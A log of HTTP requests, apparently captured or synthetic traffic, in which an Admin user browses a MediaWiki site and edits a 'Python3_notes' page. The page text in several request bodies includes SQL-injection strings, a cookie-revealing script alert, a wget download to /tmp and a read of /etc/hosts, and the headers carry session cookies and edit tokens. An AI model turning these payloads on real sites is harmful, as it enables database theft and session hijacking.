{"method": "GET", "target": "/index.php?title=Special:Contributions&target=Admin", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.makeCollapsible.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.feedlink%2Chelplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.special.changeslist%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:Contributions&target=Admin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui%2Coojs-ui-core%2Coojs-ui-toolbars%2Coojs-ui-widgets%2Coojs-ui-windows%2Csite%7Cjquery.client%2ClengthLimit%2CmakeCollapsible%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.contributions%7Cmediawiki.widgets.DateInputWidget%2CUserInputWidget%7Coojs-ui-toolbars.icons%7Coojs-ui-widgets.icons%7Coojs-ui-windows.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=niqrs", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:Contributions&target=Admin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListFiles&ilsearch=Lighthouse", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.icons-movement%2Cindicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:ListFiles&ilsearch=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.UserInputWidget%7Coojs-ui-widgets.icons%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=135lg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:ListFiles&ilsearch=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/resources/src/mediawiki.pager.styles/images/arrow-sort-descending.svg?855ba", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.icons-movement%2Cindicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:FileDuplicateSearch&filename=Pic+Lighthouse.png", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:FileDuplicateSearch&filename=Pic+Lighthouse.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=ycdpp", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:FileDuplicateSearch&filename=Pic+Lighthouse.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:LinkSearch&target=example.com%2FLighthouse", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:LinkSearch&target=example.com%2FLighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListUsers&username=Lighthouse", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:ListUsers&username=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:MIMESearch&mime=image%2Fpng", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1eacc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:MIMESearch&mime=image%2Fpng", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=Li&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=Lighthouse&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1671", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Python3_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Python3_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=52f141f04963c493bdb6c4af9cc78baa6af22676%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 319", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Python3_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Python3_notes&section=&sectiontitle=&summary=Notes+on+python3%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=7b0caca38f13720bae380f2dd35a43a0fa43c9b7&token=52f141f04963c493bdb6c4af9cc78baa6af22676%2B%5C"}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3218", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz0k8CAH1ZI6cQBLB", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on python3, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n52f141f04963c493bdb6c4af9cc78baa6af22676+\\\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1722", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Python3_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Python3_notes&section=&sectiontitle=&summary=Notes+on+python3%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=3d2253a69b15a92037b2054ed89260316af22677%2B%5C"}
